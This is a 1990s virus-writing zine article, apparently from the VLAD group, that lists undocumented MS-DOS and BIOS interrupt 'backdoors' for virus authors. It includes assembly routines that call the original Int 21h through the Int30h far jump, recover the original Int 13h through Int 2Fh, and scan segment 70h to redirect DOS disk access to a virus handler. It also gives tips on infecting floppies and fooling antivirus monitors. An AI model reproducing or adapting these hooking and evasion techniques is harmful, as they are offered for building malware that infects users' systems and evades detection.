Backdoors!
Qark/VLAD

    The information in this article concerns the backdoors in MS-DOS and
    BIOS that can be used and abused by a virus for it's own ends!  Most
    of them concern the Int21h DOS services interrupt and Int13h Disk
    services.

    Int40h - The floppy disk handler gets relocated to Int40h by the Hard
             disk BIOS and is called by Int 13h.  Int40h can be hooked and
             used to infect floppy disks.  Be cautious when using this
             because if no harddisk is present it isn't set.

    Int30h - This is not infact an interrupt at all.  It is a far jump
             to the original interrupt 21h handler that is stored at
             the address of int30h.  It was originally used for the CP/M
             emulation in earlier versions of DOS and remains there today.
             If you look at the PSP information, at PSP:[5] is a 'call
             to the DOS function dispatcher'.  It actually calls the int30h
             we are talking about (but due to a microsoft stuff up it misses
             by two bytes).  There are two ways of using this backdoor, the
             first way could be for a really hard method for infection or a
             good destructive payload.  You can use it directly by calling
             it in an unusual fashion.  This function could be messed up by
             some programs but I have yet to see it not work anywhere.
             Thanx go out to John Switzer for supplying me for this
             information although I'm sure he wouldn't appreciate it's
             use! :)

               Method One:
                 You can only use DOS functions AH=0 to 24h with this and
                 any functions that require AL can't be used.

                 Int21h        Proc    Near
                 ;Call this from your code with the same parameters
                 ; as the real DOS int 21h function.
                 ;Truly weird I'm sure you'll agree!

                       mov     cl,ah                   ;It uses CL.
                       mov     ax,offset return_addr   ;Stack is backwards
                       push    ax
                       push    cs
                       pushf                           ;Flags are last!!

                       db      0eah                    ;JMP FAR PTR
                       dw      0c0h                    ;30h * 4
                       dw      0                       ;Interrupt table.
                 return_addr:
                       ret                             ;Back to user.
                 Int21h        EndP

               Method Two:
                 This is different in that it uses the segment:offset
                 address of the Int30h to get the original 'proper' Int21h
                 that we are all used to.  This method is used by the
                 writers of the MG virus (who also wrote creeping death,
                 very talented and good researchers!)  Anyway you can work
                 that out yourself, thats why it's called research!

    Int2fh - When DOS gets loaded it hooks int13h and saves the original
    ah=13h     addresses for its own use.  When this function is called it
               returns two addresses where one is slightly closer to the
               original int13h than the other, but I'm not too sure which is
               the closer of the two (they are often equal).  If you play
               with this yourself look it up in Ralf Brown's, you can probably
               point the DOS calls to your virus if you do it right.

               To grab the original int13h without messing up DOS:

                         mov     ah,13h
                         int     2fh     ;Get the int13h's

                         push    es      ;Save them
                         push    ds
                         push    dx
                         push    bx

                         int     2fh     ;Put them back to what they were.

                         pop     bx      ;Now we've got our handlers.
                         pop     dx
                         pop     ds
                         pop     es

               ;From here you can either choose to use ES:BX or DS:DX
               ;as your int13h.

    Seg70h - Segment 70h is used by DOS.  All DOS disk access passes through
               it at sometime.  All you have to do is scan through it for
               the bytes of the different calls.  This method was first
               used by the Creeping Death virus and is used in the 1984
               (listed as 'ignorant' by CARO) and Daemon viruses.  I'd
               suggest running through this with a debugger and having a
               look to work out what's going on.  DOS has been using 70:B4
               to store the original Int 13h since DOS 3.3.

                 mov       ax,70h
                 mov       ds,ax
                 mov       si,2
               first_backdoor:
                 or      si,si
                 jz      wherever

                 dec     si              ;SI-1
                 lodsw                   ;DS:[SI] to AX  SI+2

                 cmp     ax,1effh        ;FF1E = CALL FAR PTR [xxxx]
                 jnz     first_backdoor

                 cmp     word ptr [si],0b4h      ;This is just there :)
                 jnz     first_backdoor

                 jmp     set_fake_int13          ;We've found it!

               set_fake_int13h:
                 mov     si,[si]                 ;SI=Where the address is
                                                 ;stored.
                 ;save the int13h into the virus
                 mov     cs:orig_store,word ptr [si]
                 mov     cs:orig_store+2,word ptr [si+2]
                 ;point it to our virus
                 mov     word ptr [si],offset our_int13
                 mov     word ptr [si+2],cs

                 ;ret or whatever...

    Int2fh - Have a look at this interrupt in Ralf Browns (a must for every
               virus programmer) it can do ALL the interrupt 21h functions!
               The only problem is working out the DOS stacks and so
               on.  It is handy for bypassing AV monitors, but it is much
               too huge to go into in any detail.

    BIOS   - Within BIOS lurk a number of stationary entry points to
    entry      interrupts.  There are a few problems with these, as alot
    points     of BIOSes are incompatible and QEMM won't work with them
               but they can be useful because there isn't ANYTHING that
               can be done to stop it.

               Here are a list of addresses that are guaranteed not to
               work half the time but have a look anyway.

                  F000:EC59      Floppy disk int 13h
                  F000:F859      Int 15h, sometimes useful

    Int2ah - This is called by Int 21h on every file related function.  By
    ah=82h     modifying the stack or certain registers you can change the
               function that was called to whatever you want.  DOS stores
               the function multiplied by two in BL (eg Int 21h AH=40h will
               be BL=80h when the int 2ah is called.).  If you change this
               BL to another function it should fool most AV monitors.  This
               may only work for some versions of DOS.

    Int21h - If you call this service you can do any DOS function.  Have a
    ax=5d00h   look!  All you have to do is set your registers up in a table.
               It should be easy to write a basic simulated int21h using
               this.

    Anymore ?  Not that I can think of!  If you know any... tell me!!